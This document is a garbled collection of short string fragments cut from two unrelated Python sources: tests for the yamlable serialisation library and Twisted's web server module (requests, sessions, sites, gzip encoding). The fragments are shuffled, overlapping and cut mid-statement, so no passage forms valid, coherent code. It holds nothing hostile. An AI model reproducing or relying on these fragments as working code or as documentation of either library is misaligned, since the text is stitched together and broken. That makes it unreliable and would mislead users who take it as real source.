close(self):", "Tests that YamlAble works correctly \"\"\" @yaml_info(yaml_tag_ns='yaml.tests') class Foo(YamlAble): #", "from StringIO import StringIO # create a variant that can", "when it is closed (as opposed to the standard StringIO)", "@yaml_info(yaml_tag_ns=\"com.example\") class Foo(YamlAble): pass assert Foo.__yaml_tag_suffix__ == \"com.example.Foo\" assert Foo().dumps_yaml()", "default_flow_style=False) == s assert dump(load(dump(load(s))), default_flow_style=False) == s def test_help_yaml_info():", "== \"\"\"!yamlable/yaml.tests.FooValid a: 1 b: hello \"\"\" # dump io", "correctly \"\"\" @yaml_info(yaml_tag_ns='yaml.tests') class Foo(YamlAble): # __yaml_tag_suffix__ = 'foo' not", "vars(self) == vars(other) # instantiate e = FooError(1, 'hello') #", "\"\"\" This class inherits from the parent without redefining a", "def test_yamlable_incomplete_description(): \"\"\" Tests that if __yaml_tag_suffix__ is not provided", "io assert f == Foo.load_yaml(StringIO(y)) # load pyyaml assert f", "a non-None '__yaml_tag_suffix__' field\" in str(err_info.value) def test_yamlable(): \"\"\" Tests", "# note: # dump y = f.dumps_yaml(default_flow_style=False) assert y ==", "# load assert f == FooLegacy.loads_yaml(y) # load io assert", "str(err_info.value) def test_yamlable(): \"\"\" Tests that YamlAble works correctly \"\"\"", "== y # load assert f == FooLegacy.loads_yaml(y) # load", "that can serve as a context manager class StringIO(StringIO): def", "yaml import dump, load from yamlable import YamlAble, yaml_info def", "= f.dumps_yaml(default_flow_style=False) assert y == \"\"\"!yamlable/yaml.tests.FooValid a: 1 b: hello", "y == \"\"\"!yamlable/yaml.tests.Foo a: 1 b: hello \"\"\" # dump", "assert \"No YamlAble subclass found able to decode object\" in", "class Foo(YamlAble): pass assert Foo.__yaml_tag_suffix__ == \"com.example.MyFoo\" @yaml_info(yaml_tag_ns=\"com.example\") class Foo(YamlAble):", "close(self): self.value = self.getvalue() # super(StringIO, self).close() # this does", "\"does not seem to have a non-None '__yaml_tag_suffix__' field\" in", "class FooError(AbstractFooE): \"\"\" This class inherits from the parent without", "FooValid(1, 'hello') # note: # dump y = f.dumps_yaml(default_flow_style=False) assert", "= f.dumps_yaml(default_flow_style=False) assert y == \"\"\"!yamlable/yaml.tests.Foo a: 1 b: hello", "with pytest.raises(TypeError) as err_info: Foo_Err.loads_yaml(\"!yamlable/yaml.tests.Foo_Err {a: 1, b: hello}\\n\") assert", "import Y except ImportError: pass import pytest from yaml import", "= 'foo' def __to_yaml_dict__(self): # type: (...) -> Dict[str, Any]", "StringIO import StringIO # create a variant that can serve", "(...) -> Dict[str, Any] return copy(vars(self)) @classmethod def __from_yaml_dict__(cls, #", "dec = True return FooLegacy(**dct) # instantiate f = FooLegacy(1,", "bool # ALWAYS return false return False with pytest.raises(TypeError) as", "as a context manager class StringIO(StringIO): def __enter__(self): return self", "Any] yaml_tag # type: str ): # type: (...) ->", "we used @yaml_info def __init__(self, a, b): self.a = a", "# __yaml_tag_suffix__ = 'foo' not needed: we used @yaml_info def", "AbstractFooV(YamlAble): pass @yaml_info(yaml_tag_ns='yaml.tests') class FooValid(AbstractFooV): def __init__(self, a, b): self.a", "def __enter__(self): return self def __exit__(self, exception_type, exception_value, traceback): self.close()", "assert y == \"\"\"!yamlable/yaml.tests.FooLegacy a: 1 b: hello \"\"\" #", "object that memorizes its buffer when it is closed (as", "= True return copy(vars(self)) @classmethod def from_yaml_dict(cls, # type: Type[Y]", "test_yamlable_incomplete_description(): \"\"\" Tests that if __yaml_tag_suffix__ is not provided a", "load io assert f == FooLegacy.load_yaml(StringIO(y)) # load pyyaml assert", "test_yamlable_default_impl(): \"\"\" tests that the default implementation works \"\"\" @yaml_info(yaml_tag_ns='yaml.tests')", "= Foo_Default(1, 'hello') s = \"\"\"!yamlable/yaml.tests.Foo_Default a: 1 b: hello", "dec enc, dec = False, False @yaml_info(yaml_tag_ns='yaml.tests') class FooLegacy(YamlAble): #", "AbstractFooE(YamlAble): pass class FooError(AbstractFooE): \"\"\" This class inherits from the", "f == FooValid.load_yaml(StringIO(y)) # load pyyaml assert f == load(y)", "self.value = self.getvalue() # super(StringIO, self).close() # this does not", "behaviour and inherit it\"\"\" class AbstractFooV(YamlAble): pass @yaml_info(yaml_tag_ns='yaml.tests') class FooValid(AbstractFooV):", "\"\"\" def close(self): self.value = self.getvalue() # super(StringIO, self).close() #", "@classmethod def from_yaml_dict(cls, # type: Type[Y] dct, # type: Dict[str,", "== \"com.example.MyFoo\" @yaml_info(yaml_tag_ns=\"com.example\") class Foo(YamlAble): pass assert Foo.__yaml_tag_suffix__ == \"com.example.Foo\"", "context manager class StringIO(StringIO): def __enter__(self): return self def __exit__(self,", "supported, to check error message def test_yamlable_not_supported(): @yaml_info(yaml_tag_ns='yaml.tests') class Foo_Err(YamlAble):", "(...) -> Y return Foo_Err(**dct) @classmethod def is_yaml_tag_supported(cls, yaml_tag #", "\"\"\" @yaml_info(yaml_tag_ns='yaml.tests') class Foo(YamlAble): # __yaml_tag_suffix__ = 'foo' not needed:", "that YamlAble works correctly \"\"\" @yaml_info(yaml_tag_ns='yaml.tests') class Foo(YamlAble): # __yaml_tag_suffix__", "self def __exit__(self, exception_type, exception_value, traceback): self.close() except ImportError: from", "def test_yamlable_default_impl(): \"\"\" tests that the default implementation works \"\"\"", "other): return vars(self) == vars(other) # instantiate e = FooError(1,", "__eq__(self, other): return vars(self) == vars(other) # instantiate f =", "f = FooValid(1, 'hello') # note: # dump y =", "# python 3.5+ from typing import Dict, Any from yamlable", "def test_abstract_parent(): \"\"\"This tests that we can define an abstract", "message def test_yamlable_not_supported(): @yaml_info(yaml_tag_ns='yaml.tests') class Foo_Err(YamlAble): # __yaml_tag_suffix__ = 'foo'", "== FooValid.loads_yaml(y) # load io assert f == FooValid.load_yaml(StringIO(y)) #", "# load assert f == Foo.loads_yaml(y) # load io assert", "default_flow_style=False) assert s.value == y # dump pyyaml assert dump(f,", "# instantiate f = FooLegacy(1, 'hello') # dump y =", "redefining a yaml tag \"\"\" def __init__(self, a, b): self.a", "__from_yaml_dict__(cls, # type: Type[Y] dct, # type: Dict[str, Any] yaml_tag", "vars(other) def __to_yaml_dict__(self): # type: (...) -> Dict[str, Any] return", "from typing import Dict, Any from yamlable import Y except", "\"\"\" assert dump(f, default_flow_style=False) == s assert dump(load(dump(load(s))), default_flow_style=False) ==", "from yamlable import YamlAble, yaml_info def test_yamlable_incomplete_description(): \"\"\" Tests that", "'hello') s = \"\"\"!yamlable/yaml.tests.Foo_Default a: 1 b: hello \"\"\" assert", "pyyaml assert f == load(y) assert enc assert dec #", "python 3.5+ from typing import Dict, Any from yamlable import", "'__yaml_tag_suffix__' field\" in str(err_info.value) def test_yamlable(): \"\"\" Tests that YamlAble", "the parent without redefining a yaml tag \"\"\" def __init__(self,", "parent without redefining a yaml tag \"\"\" def __init__(self, a,", "load assert f == FooLegacy.loads_yaml(y) # load io assert f", "try: # Python 2 only: from StringIO import StringIO #", "load pyyaml assert f == load(y) assert enc assert dec", "hello}\\n\") assert \"No YamlAble subclass found able to decode object\"", "\"\"\"This tests that we can define an abstract parent class", "Foo.load_yaml(StringIO(y)) # load pyyaml assert f == load(y) def test_yamlable_legacy_method_names():", "pass import pytest from yaml import dump, load from yamlable", "== \"\"\"!yamlable/com.example.Foo {} \"\"\" def test_abstract_parent_error(): \"\"\"This tests that we", "vars(other) # instantiate e = FooError(1, 'hello') # dump with", "copy(vars(self)) @classmethod def __from_yaml_dict__(cls, # type: Type[Y] dct, # type:", "with the YamlAble behaviour and inherit it\"\"\" class AbstractFooE(YamlAble): pass", "import dump, load from yamlable import YamlAble, yaml_info def test_yamlable_incomplete_description():", "self.a = a self.b = b def __eq__(self, other): return", "the default implementation works \"\"\" @yaml_info(yaml_tag_ns='yaml.tests') class Foo_Default(YamlAble): def __init__(self,", "without redefining a yaml tag \"\"\" def __init__(self, a, b):", "== y # load assert f == FooValid.loads_yaml(y) # load", "work with python 2 old-style classes (StringIO is one) StringIO.close(self)", "True return copy(vars(self)) @classmethod def from_yaml_dict(cls, # type: Type[Y] dct,", "with the YamlAble behaviour and inherit it\"\"\" class AbstractFooV(YamlAble): pass", "standard StringIO) \"\"\" def close(self): self.value = self.getvalue() # super(StringIO,", "override so that tag is not supported, to check error", "variant that can serve as a context manager class StringIO(StringIO):", "dump y = f.dumps_yaml(default_flow_style=False) assert y == \"\"\"!yamlable/yaml.tests.Foo a: 1", "dump(f, default_flow_style=False) == y # load assert f == FooValid.loads_yaml(y)", "# instantiate f = Foo(1, 'hello') # note: # dump", "\"com.example.MyFoo\" @yaml_info(yaml_tag_ns=\"com.example\") class Foo(YamlAble): pass assert Foo.__yaml_tag_suffix__ == \"com.example.Foo\" assert", "global enc global dec enc, dec = False, False @yaml_info(yaml_tag_ns='yaml.tests')", "False @yaml_info(yaml_tag_ns='yaml.tests') class FooLegacy(YamlAble): # __yaml_tag_suffix__ = 'foo' not needed:", "a self.b = b f = Foo_Default(1, 'hello') s =", "Y return Foo_Err(**dct) @classmethod def is_yaml_tag_supported(cls, yaml_tag # type: str", "b def __eq__(self, other): return vars(self) == vars(other) def __to_yaml_dict__(self):" ]
[ "@param name: The child resource @type name: C{bytes} @return: A", "issuer, k, v): \"\"\"Remote version of setHeader; same interface.\"\"\" self.setHeader(k,", "and contentType is None and self.defaultContentType is not None and", "The root of the resource hierarchy. All request traversal for", "the resource does not support the requested method, generate a", "@param data: A string to write to the response. @type", "address, interfaces from twisted.internet.error import AlreadyCalled, AlreadyCancelled from twisted.web import", "responses. We also omit it if there # is a", "there is a session cookie, and if not, create it.", "\"\"\" Expire/logout of the session. \"\"\" del self.site.sessions[self.uid] for c", "Method Not Allowed telling the client they can only use", "self._log.info( \"Using GET to fake a HEAD request for {resrc}\",", "of the requested resource. @param name: The sibling resource @type", "self.code not in (http.NOT_MODIFIED, http.NO_CONTENT) contentType = self.responseHeaders.getRawHeaders(b\"content-type\") contentLength =", "still okay. if not self._inFakeHead: if self._encoder: data = self._encoder.encode(data)", "request.responseHeaders.getRawHeaders(b\"content-encoding\") if encoding: encoding = b\",\".join(encoding + [b\"gzip\"]) else: encoding", "_handleStar(self): \"\"\" Handle receiving a request whose path is '*'.", ") self.method = b\"GET\" self._inFakeHead = True body = resrc.render(self)", "requestFactory: Overwrite for default requestFactory. @type requestFactory: C{callable} or C{class}.", "resrc): \"\"\" Ask a resource to render itself. If the", "HTTPS requests and not secure for HTTP requests. If for", "\"Please use twisted.web.http.datetimeToString instead\", \"twisted.web.server\", \"date_time_string\", ) deprecatedModuleAttribute( Version(\"Twisted\", 12,", "request; so if C{forceNotSecure} is used on a secure request,", "a channel attached to this site. \"\"\" channel = super().buildProtocol(addr)", "headers self.setHeader(b\"server\", version) self.setHeader(b\"date\", http.datetimeToString()) # Resource Identification self.prepath =", "finds for a path element, stopping when it hits an", "@type NOT_DONE_YET: Opaque; do not depend on any particular type", "supportedMethods = (b\"GET\", b\"HEAD\", b\"POST\") def quote(string, *args, **kwargs): return", "issuer, k, v, **kwargs): \"\"\"Remote version of addCookie; same interface.\"\"\"", "they can only use OPTIONS. \"\"\" if self.method == b\"OPTIONS\":", "__init__(self, compressLevel, request): self._zlibCompressor = zlib.compressobj( compressLevel, zlib.DEFLATED, 16 +", "\"\"\" A user's session with a system. This utility class", "on each resource it finds for a path element, stopping", "and self.defaultContentType is not None and not contentLengthZero ): self.responseHeaders.setRawHeaders(", "1, 0), \"Please use twisted.web.http.stringToDatetime instead\", \"twisted.web.server\", \"string_date_time\", ) date_time_string", "@type lastModified: L{float} \"\"\" sessionTimeout = 900 _expireCall = None", "data): \"\"\" Write to the request, automatically compressing data on", "this value. \"\"\" import copy import os import re from", "Before doing the first write, check to see if a", "is None and self.defaultContentType is not None and not contentLengthZero", "interfaces from twisted.internet.error import AlreadyCalled, AlreadyCancelled from twisted.web import iweb,", "L{IResource} provider @param requestFactory: Overwrite for default requestFactory. @type requestFactory:", "= resource.ErrorPage( http.NOT_IMPLEMENTED, \"Huh?\", \"I don't know how to treat", "slf=self, resrc=resrc, ) self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self.write(b\"\") else: self.setHeader(b\"content-length\",", "objects returned by C{sessionFactory}. @type sessions: L{dict} mapping L{bytes} to", "\"\"\" try: body = resrc.render(self) except UnsupportedMethod as e: allowedMethods", "body = epage.render(self) # end except UnsupportedMethod if body is", "doesn't, fake it by giving the resource # a 'GET'", "_quote(string.decode(\"charmap\"), *args, **kwargs).encode(\"charmap\") def _addressToTuple(addr): if isinstance(addr, address.IPv4Address): return (\"INET\",", "__init__(self, remote): self.resumeProducing = remote.remoteMethod(\"resumeProducing\") self.pauseProducing = remote.remoteMethod(\"pauseProducing\") self.stopProducing =", "__init__(self, resource, requestFactory=None, *args, **kwargs): \"\"\" @param resource: The root", "this resource. @type resource: L{IResource} provider @param requestFactory: Overwrite for", "from twisted.python.deprecate import deprecatedModuleAttribute from twisted.logger import Logger NOT_DONE_YET =", "determine cookie names between distributed # servers and disconnected sites.", "name elif lpp == 1: return name else: # lpp", "% (len(body),)) self._inFakeHead = False self.method = b\"HEAD\" self.write(b\"\") self.finish()", "it on # NOT_MODIFIED and NO_CONTENT responses. We also omit", "sessionTimeout: L{float} @ivar lastModified: Time the C{touch()} method was last", "= self._reactor.callLater(self.sessionTimeout, self.expire) def notifyOnExpire(self, callback): \"\"\" Call this callback", "to this # with no body. self.setHeader(b\"Content-Length\", b\"0\") self.finish() @implementer(iweb._IRequestEncoderFactory)", "be the session that matches the security of the request;", "been set, fix it up. if not session: session =", "* b\"../\") + name elif lpp == 1: return name", "UnsupportedMethod from incremental import Version from twisted.python.deprecate import deprecatedModuleAttribute from", "site = None appRootURL = None prepath: Optional[List[bytes]] = None", "session. @type site: L{Site} @ivar uid: A unique identifier for", "automatically compressing data on the fly. \"\"\" if not self._request.startedWriting:", "# IProtocolNegotiationFactory def acceptableProtocols(self): \"\"\" Protocols this server can speak.", "== b\"OPTIONS\": self.setResponseCode(http.OK) else: self.setResponseCode(http.NOT_ALLOWED) self.setHeader(b\"Allow\", b\"OPTIONS\") # RFC 7231", "displayTracebacks = False sessionFactory = Session sessionCheckTime = 1800 _entropy", "from twisted.logger import Logger NOT_DONE_YET = 1 __all__ = [", "is a Bad Thing (RFC 2616, 9.4) self._log.info( \"Warning: HEAD", "body. I think I'll eat it.\", slf=self, resrc=resrc, ) self.setHeader(b\"content-length\",", "interface.\"\"\" self.setHeader(k, v) def view_setLastModified(self, issuer, when): \"\"\"Remote version of", "zlib.MAX_WBITS ) self._request = request def encode(self, data): \"\"\" Write", "@type resource: L{IResource} provider @param requestFactory: Overwrite for default requestFactory.", "# because we compress on the fly. self._request.responseHeaders.removeHeader(b\"content-length\") return self._zlibCompressor.compress(data)", "path=b\"/\", secure=secure) setattr(self, sessionAttribute, session) if sessionInterface: return session.getComponent(sessionInterface) return", "a HEAD request for {resrc}, but \" \"it got away", "a new Session instance, and store it for future reference.", "Return the text that links to a child of the", "instead\", \"twisted.web.server\", \"string_date_time\", ) date_time_string = http.datetimeToString string_date_time = http.stringToDatetime", "AlreadyCancelled): # Session has already expired. session = None if", "if self.isSecure(): return self._secureSession else: return self._insecureSession def getSession(self, sessionInterface=None,", "\":%d\" % port prefix = networkString( \"http%s://%s%s/\" % ( self.isSecure()", "== b\"*\": self._handleStar() return try: resrc = self.site.getResourceFor(self) if resource._IEncodingResource.providedBy(resrc):", "self.counter = self.counter + 1 return hexlify(self._entropy(32)) def makeSession(self): \"\"\"", "sessionCookie: try: session = self.site.getSession(sessionCookie) except KeyError: pass # if", "escape(nativeString(self.uri)), \"method\": nativeString(self.method), \"plural\": ((len(allowedMethods) > 1) and \"s\") or", "from zope.interface import implementer from twisted.python.compat import networkString, nativeString from", "The child resource @type name: C{bytes} @return: A relative URL.", "above logic may run # multiple times. It will only", "is used to represent a session. @ivar site: The L{Site}", "= 1800 _entropy = os.urandom def __init__(self, resource, requestFactory=None, *args,", "Deprecated and unused. See L{Session.sessionTimeout} instead. \"\"\" counter = 0", "send in responses if no other value is set. L{None}", "= self._encoder.finish() if data: http.Request.write(self, data) return http.Request.finish(self) def render(self,", "have been generated. @type counter: L{int} @ivar sessionCheckTime: Deprecated and", "IDs to objects returned by C{sessionFactory}. @type sessions: L{dict} mapping", "+ path def prePathURL(self): return self._prePathURL(self.prepath) def URLPath(self): from twisted.python", "If set, unhandled exceptions raised during rendering are returned to", "\"\"\" Override C{http.Request.finish} for possible encoding. \"\"\" if self._encoder: data", "\"Request\", \"Session\", \"Site\", \"version\", \"NOT_DONE_YET\", \"GzipEncoderFactory\", ] # backwards compatibility", "+ \"<br />\" + \"Resource: \" + util._PRE(reflect.safe_repr(resrc)) + \"<br", "interface. (requires a remote producer.) \"\"\" self.registerProducer(_RemoteProducerWrapper(producer), streaming) def view_unregisterProducer(self,", "hostport = \":%d\" % port prefix = networkString( \"http%s://%s%s/\" %", "(b\"GET\", b\"HEAD\", b\"POST\") def quote(string, *args, **kwargs): return _quote(string.decode(\"charmap\"), *args,", "to fake a HEAD request for {resrc}, but \" \"it", "setResponseCode; same interface. \"\"\" self.setResponseCode(code, message) def view_registerProducer(self, issuer, producer,", "and not forceNotSecure if not secure: cookieString = b\"TWISTED_SESSION\" sessionAttribute", "L{Site}, and call L{self.render()<Request.render()>} with it. @see: L{Site.getResourceFor()} \"\"\" #", "== default: hostport = \"\" else: hostport = \":%d\" %", "= networkString( \"http%s://%s%s/\" % ( self.isSecure() and \"s\" or \"\",", "Support for other methods may be implemented on a per-resource", "= resrc.render(self) except UnsupportedMethod as e: allowedMethods = e.allowedMethods if", "return ((lpp - 1) * b\"../\") + name elif lpp", "resrc=resrc, ) # Oh well, I guess we won't include", "import Copyable, ViewPoint from twisted.internet import address, interfaces from twisted.internet.error", "7231 defines an OPTIONS * request as being something that", "self._expireCall.cancel() # Break reference cycle. self._expireCall = None def touch(self):", "with it. @see: L{Site.getResourceFor()} \"\"\" # get site from channel", "self.registerProducer(_RemoteProducerWrapper(producer), streaming) def view_unregisterProducer(self, issuer): self.unregisterProducer() ### these calls remain", "a previously generated session. @param uid: Unique ID of the", "for the session. @type uid: L{bytes} @ivar _reactor: An object", "check to see if a default # Content-Type header should", "by this factory will begin at this resource. @type resource:", "the session. @type uid: L{bytes}. @raise KeyError: If the session", "html import escape from typing import List, Optional from urllib.parse", "contentLengthZero = contentLength and (contentLength[0] == b\"0\") if ( needsCT", "if port == default: hostport = \"\" else: hostport =", "called (or time the session was created). A UNIX timestamp", "if sessionInterface: return session.getComponent(sessionInterface) return session def _prePathURL(self, prepath): port", "self._encoder: data = self._encoder.encode(data) http.Request.write(self, data) def finish(self): \"\"\" Override", "data) return http.Request.finish(self) def render(self, resrc): \"\"\" Ask a resource", "not self._request.startedWriting: # Remove the content-length header, we can't honor", "Version from twisted.python.deprecate import deprecatedModuleAttribute from twisted.logger import Logger NOT_DONE_YET", "for {resrc}, but \" \"it got away from me.\", resrc=resrc,", "Process a request. Find the addressed resource in this request's", "or C{NOT ALLOWED} response. @param resrc: The resource to render.", "resource {resrc} is\" \" returning a message body. I think", "if not session: session = self.site.makeSession() self.addCookie(cookiename, session.uid, path=b\"/\", secure=secure)", "\"\"\" url = self._prePathURL(self.prepath[:-1]) self.appRootURL = url def getRootURL(self): \"\"\"", "This iterates through the resource hierarchy, calling getChildWithDefault on each", "UnsupportedMethod if body is NOT_DONE_YET: return if not isinstance(body, bytes):", "b\"/\" + name else: return name def gotLength(self, length): \"\"\"", "version of write; same interface.\"\"\" self.write(data) def view_finish(self, issuer): \"\"\"Remote", "= 0 requestFactory = Request displayTracebacks = False sessionFactory =", "http.stringToDatetime # Support for other methods may be implemented on", "def view_registerProducer(self, issuer, producer, streaming): \"\"\"Remote version of registerProducer; same", "= 0 def render(self, request): \"\"\" Redirect because a Site", "addr.host, addr.port) elif isinstance(addr, address.UNIXAddress): return (\"UNIX\", addr.name) else: return", "self.method == b\"HEAD\": if len(body) > 0: # This is", ") date_time_string = http.datetimeToString string_date_time = http.stringToDatetime # Support for", "away from me.\", resrc=resrc, ) # Oh well, I guess", "gzip. @ivar _zlibCompressor: The zlib compressor instance used to compress", "the headers, # not the body. self._log.info( \"Using GET to", "If for some reason you need access to the insecure", "== 1: return name else: # lpp == 0 if", "return session def getSession(self, uid): \"\"\" Get a previously generated", "version of setHeader; same interface.\"\"\" self.setHeader(k, v) def view_setLastModified(self, issuer,", "self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self.write(body) self.finish() return reason def view_write(self,", "= self.site.getSession(sessionCookie) except KeyError: pass # if it still hasn't", "Called when HTTP channel got length of content in this", "return self._prePathURL(self.prepath) def URLPath(self): from twisted.python import urlpath return urlpath.URLPath.fromRequest(self)", "copyright from twisted.web import resource from twisted.web.error import UnsupportedMethod from", "(RFC 2616, 9.4) self._log.info( \"Warning: HEAD request {slf} for resource", "# HTML generation helpers def sibLink(self, name): \"\"\" Return the", "between distributed # servers and disconnected sites. request.sitepath = copy.copy(request.prepath)", "the client as HTML. Default to C{False}. @ivar sessionFactory: factory", "and unused. See L{Session.sessionTimeout} instead. \"\"\" counter = 0 requestFactory", "\"\"\" Return the text that links to a sibling of", "b\"%d\" % (len(body),)) self.write(b\"\") else: self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self.write(body)", "defines an OPTIONS * request as being something that a", "request) def getResourceFor(self, request): \"\"\" Get a resource for a", "method. \"\"\" request.site = self return self.resource.getChildWithDefault(pathEl, request) def getResourceFor(self,", "lastModified: Time the C{touch()} method was last called (or time", "Generate a channel attached to this site. \"\"\" channel =", "self.responseHeaders.getRawHeaders(b\"content-type\") contentLength = self.responseHeaders.getRawHeaders(b\"content-length\") contentLengthZero = contentLength and (contentLength[0] ==", "self.defaultContentType is not None and not contentLengthZero ): self.responseHeaders.setRawHeaders( b\"content-type\",", "body. self._log.info( \"Using GET to fake a HEAD request for", "requestFactory=None, *args, **kwargs): \"\"\" @param resource: The root of the", "always be the session that matches the security of the", "hostport, ) ) path = b\"/\".join([quote(segment, safe=b\"\") for segment in", "intended for users. @param length: The length of the request", "self._expireCall.active(): self._expireCall.cancel() # Break reference cycle. self._expireCall = None def", "this callback when the session expires or logs out. \"\"\"", "which is called with (channel) and creates L{Request} instances. Default", "over HTTP, even if this L{Request} was delivered over HTTPS?", "be transmitted over plain-text HTTP. @ivar _secureSession: The L{Session} object", "stream. @ivar _request: A reference to the originating request. @since:", "self._encoder: data = self._encoder.finish() if data: http.Request.write(self, data) return http.Request.finish(self)", "Default to C{False}. @ivar sessionFactory: factory for sessions objects. Default", "http.Request.__init__(self, *args, **kw) components.Componentized.__init__(self) def getStateToCopyFor(self, issuer): x = self.__dict__.copy()", "# Oh well, I guess we won't include the content", "= b\"/\".join([quote(segment, safe=b\"\") for segment in prepath]) return prefix +", "= {} def startCheckingExpiration(self): \"\"\" Start expiration tracking. @return: L{None}", "is not intended for users. @param length: The length of", "None _log = Logger() def __init__(self, *args, **kw): http.Request.__init__(self, *args,", "session is None: # No session was created yet for", "* request as being something that a client can send", "of the URL for later recalling. \"\"\" url = self._prePathURL(self.prepath[:-1])", "the request method. Note, if we are doing that, #", "be true, and the above logic may run # multiple", "12.3 \"\"\" _zlibCompressor = None def __init__(self, compressLevel, request): self._zlibCompressor", "from twisted.python import urlpath return urlpath.URLPath.fromRequest(self) def rememberRootURL(self): \"\"\" Remember", "session is not None: # We have a previously created", "length. else: self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self._inFakeHead = False self.method", "the response. @type data: L{bytes} \"\"\" if not self.startedWriting: #", "during rendering are returned to the client as HTML. Default", "twisted.python import reflect, failure, components from twisted import copyright from", "interface.\"\"\" self.write(data) def view_finish(self, issuer): \"\"\"Remote version of finish; same", "# We MUST include an Allow header # (RFC 2616,", "for some reason you need access to the insecure cookie", "used by the compressor, default to 9 (highest). @since: 12.3", "by the request headers. L{None} if the request headers do", "return self._zlibCompressor.compress(data) def finish(self): \"\"\" Finish handling the request request,", "the default. @ivar _insecureSession: The L{Session} object representing state that", "\"\"\" self.lastModified = self._reactor.seconds() if self._expireCall is not None: self._expireCall.reset(self.sessionTimeout)", "C{forceNotSecure} is used on a secure request, this will not", "is a Content-Length header set to 0, as empty bodies", "bother the user with this, we simply fast-path it back", "element, stopping when it hits an element where isLeaf is", "will always be the session that matches the security of", "session def getSession(self, uid): \"\"\" Get a previously generated session.", "hexlify from zope.interface import implementer from twisted.python.compat import networkString, nativeString", "\"\"\" Write data to the transport (if not responding to", "def view_write(self, issuer, data): \"\"\"Remote version of write; same interface.\"\"\"", "setETag; same interface.\"\"\" self.setETag(tag) def view_setResponseCode(self, issuer, code, message=None): \"\"\"", "if not secure: cookieString = b\"TWISTED_SESSION\" sessionAttribute = \"_insecureSession\" else:", "twisted.web.error import UnsupportedMethod from incremental import Version from twisted.python.deprecate import", "Mark the session as modified, which resets expiration timer. \"\"\"", "C{class}. @see: L{twisted.web.http.HTTPFactory.__init__} \"\"\" super().__init__(*args, **kwargs) self.sessions = {} self.resource", "a request whose path is '*'. RFC 7231 defines an", "prefix + path def prePathURL(self): return self._prePathURL(self.prepath) def URLPath(self): from", "import os import re from html import escape from typing", "this, we simply fast-path it back to an empty 200", "\"\"\" super().__init__() if reactor is None: reactor = site.reactor self._reactor", "content in this request. This method is not intended for", "compressLevel = 9 def encoderForRequest(self, request): \"\"\" Check the headers", "that, # startedWriting will never be true, and the above", "the request, and that the HTTP connection should be left", "displayTracebacks: If set, unhandled exceptions raised during rendering are returned", "By default, the cookie with be secure for HTTPS requests", "self return channel isLeaf = 0 def render(self, request): \"\"\"", "out; it's from protocol # del x['server'] del x[\"channel\"] del", "are returned to the client as HTML. Default to C{False}.", "allowedMethods = e.allowedMethods if (self.method == b\"HEAD\") and (b\"GET\" in", "always a directory. \"\"\" request.redirect(request.prePathURL() + b\"/\") request.finish() def getChildWithDefault(self,", "import re from html import escape from typing import List,", "\"\"\" if self._encoder: data = self._encoder.finish() if data: http.Request.write(self, data)", "\"\"\" try: getContentFile = self.channel.site.getContentFile except AttributeError: http.Request.gotLength(self, length) else:", "counter: The number of sessions that have been generated. @type", "def view_finish(self, issuer): \"\"\"Remote version of finish; same interface.\"\"\" self.finish()", "return reason def view_write(self, issuer, data): \"\"\"Remote version of write;", "from protocol # del x['server'] del x[\"channel\"] del x[\"content\"] del", "We have a previously created session. try: # Refresh the", "# Copyright (c) Twisted Matrix Laboratories. # See LICENSE for", "@implementer(interfaces.IProtocolNegotiationFactory) class Site(http.HTTPFactory): \"\"\" A web site: manage log, sessions,", "same interface.\"\"\" self.finish() def view_addCookie(self, issuer, k, v, **kwargs): \"\"\"Remote", "import Logger NOT_DONE_YET = 1 __all__ = [ \"supportedMethods\", \"Request\",", "omit it on # NOT_MODIFIED and NO_CONTENT responses. We also", "Header objects also aren't jellyable. x[\"requestHeaders\"] = list(x[\"requestHeaders\"].getAllRawHeaders()) return x", "None and not contentLengthZero ): self.responseHeaders.setRawHeaders( b\"content-type\", [self.defaultContentType] ) #", "the fly. \"\"\" if not self._request.startedWriting: # Remove the content-length", "\" + util._PRE(reflect.safe_repr(resrc)) + \"<br />\" + \"Value: \" +", "a previously created session. try: # Refresh the session, to", "= url def getRootURL(self): \"\"\" Get a previously-remembered URL. @return:", "site. \"\"\" channel = super().buildProtocol(addr) channel.requestFactory = self.requestFactory channel.site =", "443 else: default = 80 if port == default: hostport", "reactor self.site = site self.uid = uid self.expireCallbacks = []", "of setETag; same interface.\"\"\" self.setETag(tag) def view_setResponseCode(self, issuer, code, message=None):", "def view_unregisterProducer(self, issuer): self.unregisterProducer() ### these calls remain local _secureSession", "local _secureSession = None _insecureSession = None @property def session(self):", "request for {resrc}\", resrc=resrc ) self.method = b\"GET\" self._inFakeHead =", "import Version from twisted.python.deprecate import deprecatedModuleAttribute from twisted.logger import Logger", "@ivar sessionTimeout: Time after last modification the session will expire,", "self.finish() def view_addCookie(self, issuer, k, v, **kwargs): \"\"\"Remote version of", "from twisted.web import iweb, http, util from twisted.web.http import unquote", "self.method in (supportedMethods): # We MUST include an Allow header", "on a non-secure page secure = self.isSecure() and not forceNotSecure", "with the twisted.internet infrastructure. @var NOT_DONE_YET: A token value which", "is '*'. if self.path == b\"*\": self._handleStar() return try: resrc", "time the session was created). A UNIX timestamp as returned", "def touch(self): \"\"\" Mark the session as modified, which resets", "Session instance, and store it for future reference. \"\"\" uid", "def acceptableProtocols(self): \"\"\" Protocols this server can speak. \"\"\" baseProtocols", "we're not generating a HEAD response by # faking out", "__getstate__(self): d = self.__dict__.copy() d[\"sessions\"] = {} return d def", "object providing L{IReactorTime} to use for scheduling expiration. @ivar sessionTimeout:", "this request has failed. @type reason: L{twisted.python.failure.Failure} @return: The reason", "7231 says we MUST set content-length 0 when responding to", "# Short-circuit for requests whose path is '*'. if self.path", "_openLogFile(self, path): from twisted.python import logfile return logfile.LogFile(os.path.basename(path), os.path.dirname(path)) def", "= len(self.postpath) if lpp > 1: return ((lpp - 1)", "with a unique ID for that session. @param reactor: L{IReactorTime}", "else: self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self.write(body) self.finish() def processingFailed(self, reason):", "self._zlibCompressor = None return remain class _RemoteProducerWrapper: def __init__(self, remote):", "L{self.render()<Request.render()>} with it. @see: L{Site.getResourceFor()} \"\"\" # get site from", "\"\"\" Process a request. Find the addressed resource in this", "def finish(self): \"\"\" Finish handling the request request, flushing any", "text that links to a sibling of the requested resource.", "else: self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self._inFakeHead = False self.method =", "return urlpath.URLPath.fromRequest(self) def rememberRootURL(self): \"\"\" Remember the currently-processed part of", "of write; same interface.\"\"\" self.write(data) def 